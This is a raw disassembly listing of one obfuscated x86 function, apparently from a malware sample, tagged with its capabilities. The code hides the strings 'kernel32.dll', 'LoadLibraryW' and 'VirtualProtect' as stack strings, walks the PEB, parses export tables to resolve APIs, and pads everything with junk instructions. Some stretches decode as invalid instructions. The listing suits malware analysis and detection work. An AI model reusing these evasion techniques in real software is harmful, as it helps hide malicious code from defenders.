Function at 0x1e039ca3
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
cmpsb byte [esi], byte es:[edi]
sub al, 1
push edx
push eax
add esp, 4
or edx, 0x10154
call 0x1e038949
add byte [eax + 0x4c], al
inc edi
dec edi
cmp eax, 0x83354344
les eax, [ecx + eax*4]
loop 0x1e0388e1
push 0x7e80000
add byte [eax], al
add byte [eax], al
inc edx
xor eax, 0x44474e45
add esp, 4
pop edx
lea eax, [ebp - 0x15cc]
mov dword [ebp - 0xc18], eax
call 0xaa038962
lea eax, [ebx + edi*8 - 1]
invalid
jge 0x1e038abd
mov dword [ebp - 0x1504], 0xffffffff
jmp 0x1e038ac7
mov dword [ebp - 0x1504], 1
mov ecx, dword [ebp - 0x1504]
mov dword [ebp - 0x150c], ecx
cmp dword [ebp - 0x150c], 0
jne 0x1e038b1c
push edx
or edx, 0x12104
xor edx, 0x87bc
pop edx
push eax
and eax, 0x11487
pop eax
push eax
or eax, 0x2460
and eax, 0xe15f
pop eax
push ebx
or ebx, 0x421b
jmp 0x1e038b0d
pop ebx
mov edx, dword [ebp - 0x4bc]
mov dword [ebp - 0x2a0], edx
jmp 0x1e038b84
push edi
push eax
add esp, 4
sub edi, 0xefa3
pop edi
push ebx
push edx
add esp, 4
call 0x1e038b3a
add byte [ebx + 0x34], al
dec esi
dec eax
inc esp
dec ebx
dec esi
add esp, 4
call 0x1e038b4a
add byte [0x4e49454a], bh
cmp al, 0x33
add esp, 4
pop ebx
mov eax, dword [ebp - 0x4bc]
mov ecx, dword [eax]
mov dword [ebp - 0x4bc], ecx
mov edx, dword [ebp - 0x4bc]
cmp edx, dword [ebp - 0xc1c]
je 0x1e038b7a
mov eax, dword [ebp - 0x4bc]
cmp dword [eax + 0x30], 0
jne 0x1e038930
mov dword [ebp - 0x2a0], 0
push esi
and esi, 0x15546
pop esi
push ebx
jmp 0x1e038b96
sub ebx, 0x2d6e
jmp 0x1e038ba2
pop ebx
push eax
jmp 0x1e038ba9
or eax, 0xeeb0
add eax, 0x1675
pop eax
cmp dword [ebp - 0x2a0], 0
jne 0x1e0394bb
mov ecx, 0x6b
mov word [ebp - 0x1638], cx
mov edx, 0x65
mov word [ebp - 0x1636], dx
mov eax, 0x72
mov word [ebp - 0x1634], ax
mov ecx, 0x6e
mov word [ebp - 0x1632], cx
mov edx, 0x65
mov word [ebp - 0x1630], dx
mov eax, 0x6c
mov word [ebp - 0x162e], ax
mov ecx, 0x33
mov word [ebp - 0x162c], cx
mov edx, 0x32
mov word [ebp - 0x162a], dx
mov eax, 0x2e
mov word [ebp - 0x1628], ax
mov ecx, 0x64
mov word [ebp - 0x1626], cx
mov edx, 0x6c
mov word [ebp - 0x1624], dx
mov eax, 0x6c
mov word [ebp - 0x1622], ax
xor ecx, ecx
mov word [ebp - 0x1620], cx
push ebx
push ebx
add esp, 4
or ebx, 0x15d01
add ebx, 0x4a1e
add ebx, 0xb2e3
pop ebx
push edi
or edi, 0x1ed8
and edi, 0xd97b
pop edi
push edx
push edi
add esp, 4
sub edx, 0x122a1
pop edx
mov byte [ebp - 0x84c], 0x4c
mov byte [ebp - 0x84b], 0x6f
mov byte [ebp - 0x84a], 0x61
mov byte [ebp - 0x849], 0x64
mov byte [ebp - 0x848], 0x4c
mov byte [ebp - 0x847], 0x69
mov byte [ebp - 0x846], 0x62
mov byte [ebp - 0x845], 0x72
mov byte [ebp - 0x844], 0x61
mov byte [ebp - 0x843], 0x72
mov byte [ebp - 0x842], 0x79
mov byte [ebp - 0x841], 0x57
mov byte [ebp - 0x840], 0
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1bd0], edx
mov eax, dword [ebp - 0x1bd0]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1bd4], ecx
mov edx, dword [ebp - 0x1bd4]
mov dword [ebp - 0x1510], edx
push esi
sub esi, 0x16dcc
add esi, 0x10369
and esi, 0x86d4
add esi, 0x121c3
pop esi
push edi
push edx
add esp, 4
sub edi, 0x302b
add edi, 0x108c
xor edi, 0x3a4a
pop edi
cmp dword [ebp - 0x1510], 0
jne 0x1e038d5b
mov dword [ebp - 0x728], 0
jmp 0x1e039002
mov eax, dword [ebp - 0x1510]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc28], edx
push ebx
push esi
add esp, 4
jmp 0x1e038d79
and ebx, 0xb6c7
or ebx, 0x3adf
jmp 0x1e038d8e
pop ebx
push ebx
jmp 0x1e038d99
jmp 0x1e038d9e
pop ebx
cmp dword [ebp - 0xc28], 0
jne 0x1e038db7
mov dword [ebp - 0x728], 0
jmp 0x1e039002
mov eax, dword [ebp - 0xc28]
mov dword [ebp - 0x4c0], eax
push edi
call 0x1e038dd3
add byte [ecx + 0x34], cl
cmp edi, dword [edi]
dec esi
inc esi
dec ecx
xor dh, byte [ebx]
add esp, 4
call 0x1e038de5
add byte [ebx + 0x4e], cl
push eax
dec ebx
cmp eax, 0x3b4f3f46
add esp, 4
sub edi, 0xcf01
and edi, 0xb6ca
pop edi
lea ecx, [ebp - 0x1638]
mov dword [ebp - 0xc24], ecx
mov edx, dword [ebp - 0x4c0]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc20], eax
xor ecx, ecx
mov word [ebp - 0x1b0], cx
xor edx, edx
mov word [ebp - 0x24], dx
push ebx
call 0x1e038e30
add byte [0x4d39354e], dh
inc ecx
dec ecx
cmp cl, byte ds:[eax - 0x7d]
les eax, [ebx + ebx*2]
push edx
sub edx, 0x4291
jmp 0x1e038e44
add edx, 0xa4b2
and edx, 0xcfd3
pop edx
mov eax, dword [ebp - 0xc20]
mov cx, word [eax]
mov word [ebp - 0xfba], cx
mov edx, dword [ebp - 0xc20]
add edx, 2
mov dword [ebp - 0xc20], edx
mov ax, word [ebp - 0xfba]
mov word [ebp - 0x1b0], ax
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xfbc], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xfbc]
mov word [ebp - 0x24], cx
push edi
push ebx
add esp, 4
sub edi, 0xb75f
jmp 0x1e038eba
call 0x1e038ec7
add byte [ebp + 0x41], al
inc ebx
inc ecx
inc ecx
inc esi
inc esi
add esp, 4
call 0x1e038ed6
add byte [ebx], bh
inc ebp
dec ebp
inc ebx
cmp dword [edi - 0x7d], eax
les eax, [edi + ebx*2]
movzx edx, word [ebp - 0x24]
test edx, edx
jne 0x1e038ef7
movzx eax, word [ebp - 0x1b0]
movzx ecx, word [ebp - 0x24]
sub eax, ecx
mov dword [ebp - 0x1518], eax
jmp 0x1e038f51
movzx edx, word [ebp - 0x1b0]
movzx eax, word [ebp - 0x24]
cmp edx, eax
je 0x1e038e1f
movzx ecx, word [ebp - 0x1b0]
xor ecx, 0x20
movzx edx, word [ebp - 0x24]
fdivr qword [ebx]
retf 0x840f
invalid
invalid
invalid
invalid
movzx eax, word [ebp - 0x1b0]
movzx ecx, word [ebp - 0x24]
cmp eax, ecx
jge 0x1e038f3b
mov dword [ebp - 0x1514], 0xffffffff
jmp 0x1e038f45
mov dword [ebp - 0x1514], 1
mov edx, dword [ebp - 0x1514]
mov dword [ebp - 0x1518], edx
cmp dword [ebp - 0x1518], 0
jne 0x1e038f9a
push edi
push ebx
add esp, 4
sub edi, 0xc526
pop edi
push ecx
xor ecx, 0x3fc5
and ecx, 0x2217
pop ecx
push esi
push ebx
add esp, 4
call fcn.1e038f88
add byte [edx + 0x47], al
dec esp
aaa
dec esi
aas
cmp dh, byte [0x5e04c483]
add esp, 4
pop esi
mov eax, dword [ebp - 0x4c0]
mov dword [ebp - 0x728], eax
jmp 0x1e039002
push edx
xor edx, 0xc816
add edx, 0x154a2
or edx, 0xa745
sub edx, 0x6db3
pop edx
push ebx
push eax
add esp, 4
add ebx, 0x8db9
sub ebx, 0x160a2
xor ebx, 0x14866
pop ebx
mov ecx, dword [ebp - 0x4c0]
mov edx, dword [ecx]
mov dword [ebp - 0x4c0], edx
mov eax, dword [ebp - 0x4c0]
cmp eax, dword [ebp - 0xc28]
je 0x1e038ff8
mov ecx, dword [ebp - 0x4c0]
cmp dword [ecx + 0x30], 0
jne 0x1e038dc3
mov dword [ebp - 0x728], 0
push ebx
push ecx
add esp, 4
or ebx, 0x9401
pop ebx
push ecx
push ecx
add esp, 4
call 0x1e039020
add byte [eax], bh
inc ecx
aas
cmp eax, 0xc4834835
add al, 0xeb
add eax, 0x44423a43
cmp ebp, ebx
pop es
dec ecx
dec ebp
inc edi
inc edi
inc ebx
dec ebx
xor ebx, dword [ecx - 0x7d]
mov ebp, 0xfffff8d8
add byte [ebp + 0x41], dh
push edx
push esi
add esp, 4
or edx, 0x17555
pop edx
push ecx
and ecx, 0xa2e
call 0x1e03905e
add byte [edi], dh
inc esi
dec esi
dec ecx
inc eax
dec eax
xor al, 0x41
add esp, 4
jmp 0x1e039068
add ecx, 0x14507
pop ecx
mov dword [ebp - 0x774], 0
jmp 0x1e039ba6
push ebx
push ebx
add esp, 4
call 0x1e0394cf
add byte [eax], bh
cmp dword [eax + 0x4e], edx
inc ebx
dec edx
inc edx
inc edx
inc ebp
add esp, 4
xor ebx, 0xd112
sub ebx, 0xd494
pop ebx
push ecx
and ecx, 0xcd4e
and ecx, 0x1513b
pop ecx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1bf0], edx
mov eax, dword [ebp - 0x1bf0]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1bf4], ecx
mov edx, dword [ebp - 0x1bf4]
mov dword [ebp - 0x1528], edx
push ebx
push ebx
add esp, 4
call 0x1e039528
add byte [esi + 0x3f], al
inc ecx
cmp dh, byte [0x834b3941]
les eax, [ebx + ebx*2]
push edx
sub edx, 0x8405
jmp 0x1e03953a
sub edx, 0x55a5
xor edx, 0x137ba
pop edx
cmp dword [ebp - 0x1528], 0
jne 0x1e03955f
mov dword [ebp - 0x2a0], 0
jmp 0x1e039806
mov eax, dword [ebp - 0x1528]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc38], edx
push edx
push ecx
add esp, 4
or edx, 0x11497
sub edx, 0x2035
xor edx, 0x168a6
pop edx
push ecx
and ecx, 0x4490
add ecx, 0x148cc
or ecx, 0xa9e5
or ecx, 0x8861
pop ecx
cmp dword [ebp - 0xc38], 0
jne 0x1e0395bb
mov dword [ebp - 0x2a0], 0
jmp 0x1e039806
mov eax, dword [ebp - 0xc38]
mov dword [ebp - 0x4c4], eax
push ecx
or ecx, 0xe189
and ecx, 0x19a
jmp 0x1e0395da
pop ecx
push ebx
push ebx
add esp, 4
and ebx, 0xfb75
or ebx, 0x3271
and ebx, 0x9b32
sub ebx, 0xfaaa
pop ebx
lea ecx, [ebp - 0x15cc]
mov dword [ebp - 0xc34], ecx
mov edx, dword [ebp - 0x4c4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc30], eax
xor ecx, ecx
mov word [ebp - 0x1b4], cx
xor edx, edx
mov word [ebp - 0x28], dx
push ecx
add ecx, 0xd627
pop ecx
push edx
push edx
add esp, 4
add edx, 0x6aa1
add edx, 0x4683
pop edx
push edx
push esi
add esp, 4
and edx, 0x3779
and edx, 0x168d9
jmp 0x1e039654
pop edx
mov eax, dword [ebp - 0xc30]
mov cx, word [eax]
mov word [ebp - 0xfbe], cx
mov edx, dword [ebp - 0xc30]
add edx, 2
mov dword [ebp - 0xc30], edx
mov ax, word [ebp - 0xfbe]
mov word [ebp - 0x1b4], ax
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xfc0], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xfc0]
mov word [ebp - 0x28], cx
push edi
and edi, 0x15760
pop edi
push edx
push ebx
add esp, 4
add edx, 0x16014
add edx, 0xf45b
jmp 0x1e0396cb
or edx, 0x12d6a
pop edx
push eax
push eax
add esp, 4
add eax, 0x5f69
pop eax
movzx edx, word [ebp - 0x28]
test edx, edx
jne 0x1e0396fb
movzx eax, word [ebp - 0x1b4]
movzx ecx, word [ebp - 0x28]
sub eax, ecx
mov dword [ebp - 0x1530], eax
jmp 0x1e039755
movzx edx, word [ebp - 0x1b4]
movzx eax, word [ebp - 0x28]
cmp edx, eax
je 0x1e039623
movzx ecx, word [ebp - 0x1b4]
xor ecx, 0x20
movzx edx, word [ebp - 0x28]
cmp ecx, edx
je 0x1e039623
movzx eax, word [ebp - 0x1b4]
movzx ecx, word [ebp - 0x28]
cmp eax, ecx
jge 0x1e03973f
mov dword [ebp - 0x152c], 0xffffffff
jmp 0x1e039749
mov dword [ebp - 0x152c], 1
mov edx, dword [ebp - 0x152c]
mov dword [ebp - 0x1530], edx
cmp dword [ebp - 0x1530], 0
jne 0x1e03979e
push ebx
sub ebx, 0x1046a
jmp 0x1e03976e
pop ebx
push ebx
push edi
add esp, 4
xor ebx, 0x17c11
sub ebx, 0x934
call 0x1e03978c
add byte [edi + 0x4a], al
cmp dword [eax + 0x42], ecx
push eax
add esp, 4
pop ebx
mov eax, dword [ebp - 0x4c4]
mov dword [ebp - 0x2a0], eax
jmp 0x1e039806
push edi
push edi
add esp, 4
and edi, 0x166ab
or edi, 0x2ad6
xor edi, 0x8f82
pop edi
push ebx
add ebx, 0x48d3
xor ebx, 0x9632
xor ebx, 0x4afc
and ebx, 0x14823
pop ebx
mov ecx, dword [ebp - 0x4c4]
mov edx, dword [ecx]
mov dword [ebp - 0x4c4], edx
mov eax, dword [ebp - 0x4c4]
cmp eax, dword [ebp - 0xc38]
je 0x1e0397fc
mov ecx, dword [ebp - 0x4c4]
cmp dword [ecx + 0x30], 0
jne 0x1e0395c7
mov dword [ebp - 0x2a0], 0
push eax
push edi
add esp, 4
sub eax, 0xae50
pop eax
push edx
call 0x1e039821
add byte [ebp + 0x43], al
push eax
inc eax
xor al, 0x36
cmp dword [edi], esi
add esp, 4
and edx, 0x2360
jmp 0x1e039831
and edx, 0x124e8
pop edx
mov edx, dword [ebp - 0x2a0]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x330], eax
push ebx
add ebx, 0x1489e
call 0x1e03985e
add byte [edi + 0x33], al
dec edx
inc esp
inc esp
xor eax, 0x48364333
add esp, 4
call 0x1e03986f
add byte [0x40354945], dh
dec ebx
inc eax
dec ecx
add esp, 4
sub ebx, 0x15f5a
pop ebx
mov dword [ebp - 0x748], 0
mov ecx, dword [ebp - 0x330]
mov dword [ebp - 0x1534], ecx
cmp dword [ebp - 0x1534], 0
jne 0x1e0398a9
mov edx, dword [ebp - 0x748]
mov dword [ebp - 0x4c8], edx
jmp 0x1e039b9a
mov eax, dword [ebp - 0x1534]
mov ecx, dword [ebp - 0x330]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x1538], ecx
jne 0x1e0398d1
mov edx, dword [ebp - 0x748]
mov dword [ebp - 0x4c8], edx
jmp 0x1e039b9a
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x1538]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x153c], eax
cmp dword [ebp - 0x153c], 0
jne 0x1e039903
mov ecx, dword [ebp - 0x748]
mov dword [ebp - 0x4c8], ecx
jmp 0x1e039b9a
mov edx, dword [ebp - 0x330]
add edx, dword [ebp - 0x153c]
mov dword [ebp - 0x73c], edx
jne 0x1e039928
mov eax, dword [ebp - 0x748]
mov dword [ebp - 0x4c8], eax
jmp 0x1e039b9a
mov ecx, dword [ebp - 0x73c]
mov edx, dword [ebp - 0x330]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x1bf8], edx
mov eax, dword [ebp - 0x73c]
mov ecx, dword [ebp - 0x330]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x1bfc], ecx
mov edx, dword [ebp - 0x73c]
mov eax, dword [ebp - 0x330]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x1c00], eax
mov dword [ebp - 0x740], 0
jmp 0x1e039982
mov ecx, dword [ebp - 0x740]
add ecx, 1
mov dword [ebp - 0x740], ecx
mov edx, dword [ebp - 0x73c]
mov eax, dword [ebp - 0x740]
cmp eax, dword [edx + 0x18]
jae 0x1e039b8e
mov ecx, dword [ebp - 0x740]
mov edx, dword [ebp - 0x1bf8]
mov eax, dword [ebp - 0x330]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x744], eax
mov ecx, dword [ebp - 0x740]
mov edx, dword [ebp - 0x1bfc]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x1c00]
mov edx, dword [ebp - 0x330]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x1c04], edx
mov dword [ebp - 0x154], 0
jmp 0x1e0399f2
mov ecx, dword [ebp - 0x744]
add ecx, dword [ebp - 0x154]
movsx edx, byte [ecx]
test edx, edx
je 0x1e039aa4
mov eax, dword [ebp - 0x154]
movsx ecx, byte [ebp + eax - 0x83c]
test ecx, ecx
je 0x1e039aa4
push edx
or edx, 0x2ce1
pop edx
push edx
call 0x1e039a35
add byte [edx], bh
dec ebx
cmp cl, byte [esi + 0x36]
xor eax, 0xe804c483
or al, byte [eax]
add byte [eax], al
add byte [edi], dh
dec esp
xor dh, byte [edi]
inc edi
cmp cl, byte [eax + 0x4a]
cmp dword [ebx - 0x157efb3c], eax
sar byte [edx + 1], 1
add byte [edx - 0x75], bl
xchg ebp, eax
mov esp, 0x3fffff8
xchg ebp, eax
lodsb al, byte [esi]
invalid
push ecx
call 0x1e039ab1
add byte [eax], bh
xor esi, dword [eax + eax*2]
push eax
inc esp
add esp, 4
jmp 0x1e039aba
or ecx, 0xcf7d
pop ecx
push eax
or eax, 0x17718
pop eax
push edi
xor edi, 0xb770
jmp 0x1e039ad5
pop edi
mov ecx, dword [ebp - 0x744]
add ecx, dword [ebp - 0x154]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x154]
movsx ecx, byte [ebp + eax - 0x83c]
cmp edx, ecx
jne 0x1e039b03
mov dword [ebp - 0xc3c], 0
jmp 0x1e039b72
push ecx
push edi
add esp, 4
and ecx, 0x129e7
add ecx, 0x9cf0
or ecx, 0x1250c
pop ecx
push edi
sub edi, 0x12567
xor edi, 0xb6e9
and edi, 0x43c
and edi, 0x1475b
pop edi
mov edx, dword [ebp - 0x744]
add edx, dword [ebp - 0x154]
movsx eax, byte [edx]
or eax, 0x20
mov ecx, dword [ebp - 0x154]
movsx edx, byte [ebp + ecx - 0x83c]
or edx, 0x20
cmp eax, edx
jge 0x1e039b68
mov dword [ebp - 0xc3c], 0xffffffff
jmp 0x1e039b72
mov dword [ebp - 0xc3c], 1
cmp dword [ebp - 0xc3c], 0
jne 0x1e039b89
mov eax, dword [ebp - 0x1c04]
mov dword [ebp - 0x4c8], eax
jmp 0x1e039b9a
jmp 0x1e039973
mov ecx, dword [ebp - 0x748]
mov dword [ebp - 0x4c8], ecx
mov edx, dword [ebp - 0x4c8]
mov dword [ebp - 0x774], edx
push ebx
or ebx, 0x17564
pop ebx
push eax
push edx
add esp, 4
jmp 0x1e039bb8
xor eax, 0x2661
sub eax, 0x950b
pop eax
push ebx
push edx
add esp, 4
or ebx, 0x10f8d
jmp 0x1e039bd7
pop ebx
mov eax, dword [ebp - 0x390]
add eax, 0xe
mov dword [ebp - 0x1c54], eax
push eax
call 0x1e039bf7
add byte [ebp + 0x3f], cl
inc esp
aas
xor al, byte [eax + 0x4e]
aaa
add esp, 4
pop eax
push eax
push esi
add esp, 4
sub eax, 0x4472
add eax, 0x150b1
pop eax
push edi
push esi
add esp, 4
xor edi, 0x10db3
pop edi
cmp dword [ebp - 0x390], 0
je 0x1e039c2b
cmp dword [ebp - 0xa48], 0
jne 0x1e039c71
push eax
push edi
add esp, 4
add eax, 0x1013a
pop eax
push ecx
sub ecx, 0x1595d
or ecx, 0x1753c
pop ecx
push ecx
push edi
add esp, 4
xor ecx, 0x17612
add ecx, 0x168f4
xor ecx, 0x159f1
pop ecx
mov ecx, dword [ebp - 0x774]
mov dword [ebp - 0x1c08], ecx
push 0
call dword [ebp - 0x1c08]
mov dword [ebp - 0x1d24], 0xa
push ebx
call 0x1e039c8a
add byte [eax], bh
dec eax
cmp dword [ecx + 0x35], eax
inc esp
inc eax
dec esi
add esp, 4
and ebx, 0x12fba
call 0x1e039ca3
add byte [edx], dh
push eax
inc ecx
dec esp
xor eax, dword [edx + 0x42]
inc ebx
aas
add esp, 4
sub ebx, 0x1982
pop ebx
mov edx, dword [ebp - 0x390]
mov al, byte [edx + 0xa]
mov byte [ebp - 0x3a5], al
mov ecx, dword [ebp - 0xa48]
sub ecx, dword [ebp - 0x390]
mov dword [ebp - 0x157c], ecx
mov dword [ebp - 0xc6c], 0
push eax
push eax
add esp, 4
xor eax, 0xfdc8
add eax, 0xefe0
or eax, 0xa513
pop eax
push ecx
and ecx, 0x3e22
and ecx, 0x8aef
add ecx, 0xa54d
and ecx, 0x16561
pop ecx
mov byte [ebp - 0x974], 0x56
mov byte [ebp - 0x973], 0x69
mov byte [ebp - 0x972], 0x72
mov byte [ebp - 0x971], 0x74
mov byte [ebp - 0x970], 0x75
mov byte [ebp - 0x96f], 0x61
mov byte [ebp - 0x96e], 0x6c
mov byte [ebp - 0x96d], 0x50
mov byte [ebp - 0x96c], 0x72
mov byte [ebp - 0x96b], 0x6f
mov byte [ebp - 0x96a], 0x74
mov byte [ebp - 0x969], 0x65
mov byte [ebp - 0x968], 0x63
mov byte [ebp - 0x967], 0x74
mov byte [ebp - 0x966], 0
push ebx
push ecx
add esp, 4
sub ebx, 0x12cb1
pop ebx
push ecx
push edx
add esp, 4
or ecx, 0xeffa
and ecx, 0x10b8c
pop ecx
push edx
or edx, 0x1091f
add edx, 0xf150
sub edx, 0x15786
pop edx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1c0c], edx
mov eax, dword [ebp - 0x1c0c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1c10], ecx
mov edx, dword [ebp - 0x1c10]
mov dword [ebp - 0x1540], edx
push edi
push edi
add esp, 4
call 0x1e039dde
add byte [ebp + 0x45], cl
inc ecx
cmp dword [ebx], esi
add esp, 4
add edi, 0x17b5e
call 0x1e039df5
add byte [0x37393650], dh
inc ebx
xor al, 0x41
add esp, 4
sub edi, 0x1535
pop edi
cmp dword [ebp - 0x1540], 0
jne 0x1e039e17
mov dword [ebp - 0x2a4], 0
jmp 0x1e03a0be
mov eax, dword [ebp - 0x1540]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc48], edx
push eax
add eax, 0xd9a
call 0x1e039e3c
add byte [eax + 0x4c], dl
aaa
inc edx
inc ecx
dec esi
add esp, 4
pop eax
push edx
jmp 0x1e039e49
pop edx
push esi
push ecx
add esp, 4
jmp 0x1e039e54
xor esi, 0xf537
pop esi
cmp dword [ebp - 0xc48], 0
jne 0x1e039e73
mov dword [ebp - 0x2a4], 0
jmp 0x1e03a0be
mov eax, dword [ebp - 0xc48]
mov dword [ebp - 0x4cc], eax
push esi
and esi, 0x13be0
sub esi, 0x700
sub esi, 0x70c6
pop esi
push edx
and edx, 0xc05
pop edx
push esi
jmp 0x1e039ea4
sub esi, 0x14629
and esi, 0xbaba
pop esi
lea ecx, [ebp - 0x15cc]
mov dword [ebp - 0xc44], ecx
mov edx, dword [ebp - 0x4cc]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc40], eax
xor ecx, ecx
mov word [ebp - 0x1b8], cx
xor edx, edx
mov word [ebp - 0x2c], dx
push edx
push edx
add esp, 4
and edx, 0x714e
or edx, 0x3e07
or edx, 0xf73e
or edx, 0x898d
pop edx
push edi
or edi, 0xac89
and edi, 0x1139b
out 0x9b, eax
adc eax, dword [ecx]
add byte [ecx + 0x18029e7], al
invalid
pop edi
mov eax, dword [ebp - 0xc40]
mov cx, word [eax]
mov word [ebp - 0xfc2], cx
mov edx, dword [ebp - 0xc40]
add edx, 2
mov dword [ebp - 0xc40], edx
mov ax, word [ebp - 0xfc2]
mov word [ebp - 0x1b8], ax
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xfc4], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xfc4]
mov word [ebp - 0x2c], cx
push edi
xor edi, 0x8330
call 0x1e039f79
add byte [eax + edx*2], bh
inc ebx
aaa
xor ecx, dword [esi + 0x3e]
add esp, 4
pop edi
push edi
push esi
add esp, 4
call 0x1e039f92
add byte [0x33414536], dh
inc esp
dec ebp
aaa
inc esi
xor al, 0x83
les eax, [edi + ebx*2]
movzx edx, word [ebp - 0x2c]
test edx, edx
jne 0x1e039fb3
movzx eax, word [ebp - 0x1b8]
movzx ecx, word [ebp - 0x2c]
sub eax, ecx
mov dword [ebp - 0x1548], eax
jmp 0x1e03a00d
movzx edx, word [ebp - 0x1b8]
movzx eax, word [ebp - 0x2c]
cmp edx, eax
je 0x1e039edb
movzx ecx, word [ebp - 0x1b8]
xor ecx, 0x20
movzx edx, word [ebp - 0x2c]
cmp ecx, edx
je 0x1e039edb
movzx eax, word [ebp - 0x1b8]
movzx ecx, word [ebp - 0x2c]
cmp eax, ecx
jge 0x1e039ff7
mov dword [ebp - 0x1544], 0xffffffff
jmp 0x1e03a001
mov dword [ebp - 0x1544], 1
mov edx, dword [ebp - 0x1544]
mov dword [ebp - 0x1548], edx
cmp dword [ebp - 0x1548], 0
jne 0x1e03a056
push eax
and eax, 0x6954
and eax, 0x15247
add eax, 0x107ac
or eax, 0xab9f
pop eax
push ecx
push eax
add esp, 4
add ecx, 0x16f03
xor ecx, 0x56cd
xor ecx, 0xafca
pop ecx
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x2a4], eax
jmp 0x1e03a0be
push ecx
push ecx
add esp, 4
add ecx, 0xffda
xor ecx, 0x10117
pop ecx
push edi
push edx
add esp, 4
xor edi, 0xab4c
or edi, 0xa61a
or edi, 0xcdb0
pop edi
push esi
add esi, 0x8e57
pop esi
mov ecx, dword [ebp - 0x4cc]
mov edx, dword [ecx]
mov dword [ebp - 0x4cc], edx
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0xc48]
je 0x1e03a0b4
mov ecx, dword [ebp - 0x4cc]
cmp dword [ecx + 0x30], 0
jne 0x1e039e7f
mov dword [ebp - 0x2a4], 0
push esi
sub esi, 0x38c7
and esi, 0xa417
call 0x1e03a0da
add byte [edx + esi + 0x4c], cl
cmp bh, byte [ebx]
dec edx
cmp byte ss:[eax - 0x7d], al
les eax, [ecx + eax*4]
invalid